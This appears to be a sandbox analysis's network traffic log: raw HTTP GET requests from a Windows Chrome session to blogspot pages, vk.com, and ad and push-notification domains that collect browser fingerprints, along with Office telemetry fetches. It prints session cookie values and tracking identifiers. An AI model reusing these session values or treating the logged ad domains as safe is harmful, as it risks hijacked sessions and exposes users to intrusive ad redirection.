Source: global traffic	HTTP traffic detected: GET /ntfc.php?p=8165884 HTTP/1.1Host: phicmune.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: "6706a6aa-356a"If-Modified-Since: Wed, 09 Oct 2024 15:52:10 GMT
Source: global traffic	HTTP traffic detected: GET /5/8079706/?oo=1&js_build=iclick-v1.976.0&dmn=glakraptaidsupi.net&ix=1&os=windows&os_version=10.0.0&is_mobile=false&browser_version=117.0.5938.134 HTTP/1.1Host: oughoaghushouru.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://sqsq2938.blogspot.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://sqsq2938.blogspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: OAID=0080f52b8e41436deb287525cd342cae; captcha=player; syncedCookie=true; oaidts=1728945597
Source: global traffic	HTTP traffic detected: GET /2024/10/365.html HTTP/1.1Host: sqsq2938.blogspot.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-Modified-Since: Mon, 14 Oct 2024 20:30:16 GMT
Source: global traffic	HTTP traffic detected: GET /dyn-css/authorization.css?targetBlogID=6002409460088195649&zx=dcf111cd-6b9a-4037-a79c-a07ee24c9a83 HTTP/1.1Host: www.blogger.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://sqsq2938.blogspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /zone?pub=0&zone_id=8165884&is_mobile=false&domain=sqsq2938.blogspot.com&var=&ymid=&var_3=&tg=0&sw=3.1.562&drf=https%3A%2F%2Fwww.mycimalive.com%2F&ch=eyJhcmNoaXRlY3R1cmUiOiJ4ODYiLCJiaXRuZXNzIjoiNjQiLCJicmFuZHMiOlt7ImJyYW5kIjoiR29vZ2xlIENocm9tZSIsInZlcnNpb24iOiIxMTcifSx7ImJyYW5kIjoiTm90O0E9QnJhbmQiLCJ2ZXJzaW9uIjoiOCJ9LHsiYnJhbmQiOiJDaHJvbWl1bSIsInZlcnNpb24iOiIxMTcifV0sImZ1bGxWZXJzaW9uTGlzdCI6W3siYnJhbmQiOiJHb29nbGUgQ2hyb21lIiwidmVyc2lvbiI6IjExNy4wLjU5MzguMTM0In0seyJicmFuZCI6Ik5vdDtBPUJyYW5kIiwidmVyc2lvbiI6IjguMC4wLjAifSx7ImJyYW5kIjoiQ2hyb21pdW0iLCJ2ZXJzaW9uIjoiMTE3LjAuNTkzOC4xMzQifV0sIm1vYmlsZSI6ZmFsc2UsIm1vZGVsIjoiIiwicGxhdGZvcm0iOiJXaW5kb3dzIiwicGxhdGZvcm1WZXJzaW9uIjoiMTAuMC4wIiwid293NjQiOmZhbHNlfQ== HTTP/1.1Host: phicmune.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /3bT/27mJf/universal.min.js?v=3.1.562 HTTP/1.1Host: phicmune.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tag.min.js HTTP/1.1Host: glakraptaidsupi.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://sqsq2938.blogspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tag.min.js HTTP/1.1Host: glakraptaidsupi.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /gid.js?userId=0080f52b8e41436deb287525cd342cae HTTP/1.1Host: my.rtmark.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://sqsq2938.blogspot.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://sqsq2938.blogspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ID=0080f52b8e41436deb287525cd342cae
Source: global traffic	HTTP traffic detected: GET /js/loader_nav21223558768_3.js HTTP/1.1Host: vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://vk.com/video_ext.php?oid=424108305&id=456239242&hd=1&autoplay=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /2024/10/78.html HTTP/1.1Host: sqsq2938.blogspot.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-Modified-Since: Mon, 14 Oct 2024 20:30:16 GMT
Source: global traffic	HTTP traffic detected: GET /ntfc.php?p=8165884 HTTP/1.1Host: phicmune.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: "6706a6aa-356a"If-Modified-Since: Wed, 09 Oct 2024 15:52:10 GMT
Source: global traffic	HTTP traffic detected: GET /dist/web/chunks/vkcom-kit.cd5950c0.css HTTP/1.1Host: st6-20.vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://vk.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /dist/web/chunks/vkcom-kit.d44b5d4a.css HTTP/1.1Host: st6-20.vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://vk.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /dist/web/chunks/audioplayer-lib.93b52d88.css HTTP/1.1Host: st6-20.vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://vk.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /3bT/27mJf/universal.min.js?v=3.1.562 HTTP/1.1Host: phicmune.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://sqsq2938.blogspot.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://sqsq2938.blogspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: "6706a6aa-145b3"If-Modified-Since: Wed, 09 Oct 2024 15:52:10 GMT
Source: global traffic	HTTP traffic detected: GET /5/8079706/?oo=1&js_build=iclick-v1.976.0&dmn=glakraptaidsupi.net&ix=1&os=windows&os_version=10.0.0&is_mobile=false&browser_version=117.0.5938.134 HTTP/1.1Host: oughoaghushouru.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://sqsq2938.blogspot.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://sqsq2938.blogspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: OAID=0080f52b8e41436deb287525cd342cae; captcha=player; syncedCookie=true; oaidts=1728945597
Source: global traffic	HTTP traffic detected: GET /dyn-css/authorization.css?targetBlogID=6002409460088195649&zx=dcf111cd-6b9a-4037-a79c-a07ee24c9a83 HTTP/1.1Host: www.blogger.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://sqsq2938.blogspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /zone?pub=0&zone_id=8165884&is_mobile=false&domain=sqsq2938.blogspot.com&var=&ymid=&var_3=&tg=0&sw=3.1.562&drf=https%3A%2F%2Fwww.mycimalive.com%2F&ch=eyJhcmNoaXRlY3R1cmUiOiJ4ODYiLCJiaXRuZXNzIjoiNjQiLCJicmFuZHMiOlt7ImJyYW5kIjoiR29vZ2xlIENocm9tZSIsInZlcnNpb24iOiIxMTcifSx7ImJyYW5kIjoiTm90O0E9QnJhbmQiLCJ2ZXJzaW9uIjoiOCJ9LHsiYnJhbmQiOiJDaHJvbWl1bSIsInZlcnNpb24iOiIxMTcifV0sImZ1bGxWZXJzaW9uTGlzdCI6W3siYnJhbmQiOiJHb29nbGUgQ2hyb21lIiwidmVyc2lvbiI6IjExNy4wLjU5MzguMTM0In0seyJicmFuZCI6Ik5vdDtBPUJyYW5kIiwidmVyc2lvbiI6IjguMC4wLjAifSx7ImJyYW5kIjoiQ2hyb21pdW0iLCJ2ZXJzaW9uIjoiMTE3LjAuNTkzOC4xMzQifV0sIm1vYmlsZSI6ZmFsc2UsIm1vZGVsIjoiIiwicGxhdGZvcm0iOiJXaW5kb3dzIiwicGxhdGZvcm1WZXJzaW9uIjoiMTAuMC4wIiwid293NjQiOmZhbHNlfQ== HTTP/1.1Host: phicmune.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://sqsq2938.blogspot.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://sqsq2938.blogspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?rb=SkAzlsbCrx4q1NTk0jmpgb6o1fUVnulBSoMH0Z2ZI48CZLXzrjwwL15M3NDLR6IFztr-pBMmXLnMssCiY009PUOgoIJAVslcAqvn7WkOcX6WzMjGY6dVmzlgJtoNAUqgJrp5nLwsIlBuIxcb8L8JZKVi9zA07UNaVBGOWxD23xdkU8tL2BcEphQfdDoCJxzctgJIufMGWoE0LelSvPKck-w7zTl1gCjQiCedsnVMWwl7HHxQ0YbEmFgP8FunRu2CB9HbNlhgVi2B5yeFLiGb_kVSgGWIyFm-3bfLqZR7cnh34c57uTia0cJRePA2Exx74tR8Z153P-5uEk0ukoeOUHsQPxo%3D&request_ab2=0&zoneid=8079706&js_build=iclick-v1.976.0&jsp=1&fs=0&cf=0&sw=1280&sh=1024&wih=-1&wiw=-1&ww=1280&wh=984&sah=984&wx=0&wy=0&cw=0&wfc=39&pl=https%3A%2F%2Fsqsq2938.blogspot.com%2F2024%2F10%2F365.html&drf=https%3A%2F%2Fwww.mycimalive.com%2F&np=1&pt=0&nb=1&ng=1&ix=1&nw=1&tb=false&btz=America%2FNew_York&bto=240&tt=3&wgl=ANGLE%20(Google%2C%20Vulkan%201.3.0%20(SwiftShader%20Device%20(Subzero)%20(0x0000C0DE))%2C%20SwiftShader%20driver)&js_build=iclick-v1.976.0&navlng=en-US&vsbl=false&pnt=0&pnrc=0&bml=1&bmi=1&bs=9c2c609b-6e91-4b5a-b233-32b0ac0ca9bf&wasm=1&userId=0080f52b8e41436deb287525cd342cae&os=windows&os_version=10.0.0&is_mobile=false&browser_version=117.0.5938.134&m=link HTTP/1.1Host: oughoaghushouru.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://sqsq2938.blogspot.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://sqsq2938.blogspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: OAID=0080f52b8e41436deb287525cd342cae; captcha=player; syncedCookie=true; oaidts=1728945597
Source: global traffic	HTTP traffic detected: GET /gid.js?pub=0&userId=f2f49fd4c0434a65982f5e4c1488d6fd&zoneId=8165884&checkDuplicate=true&ymid=&var=&source=pusher HTTP/1.1Host: my.rtmark.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://sqsq2938.blogspot.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://sqsq2938.blogspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ID=0080f52b8e41436deb287525cd342cae
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /dist/web/videoview.d0485e10.css HTTP/1.1Host: st6-20.vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://vk.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /dist/web/ui_common.43d06ff5.css HTTP/1.1Host: st6-20.vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://vk.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /2024/10/4_4.html HTTP/1.1Host: sqsq2938.blogspot.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2024/10/6_11.html HTTP/1.1Host: sqsq2938.blogspot.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /css/al/ui_common.38d81192.css HTTP/1.1Host: st6-20.vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://vk.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /js/loader_nav21224474149_3.js HTTP/1.1Host: vk.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /js/loader_nav21223558768_3.js HTTP/1.1Host: vk.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /css/al/base.d7fd137c.css HTTP/1.1Host: st6-20.vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://vk.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /tag.min.js HTTP/1.1Host: glakraptaidsupi.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
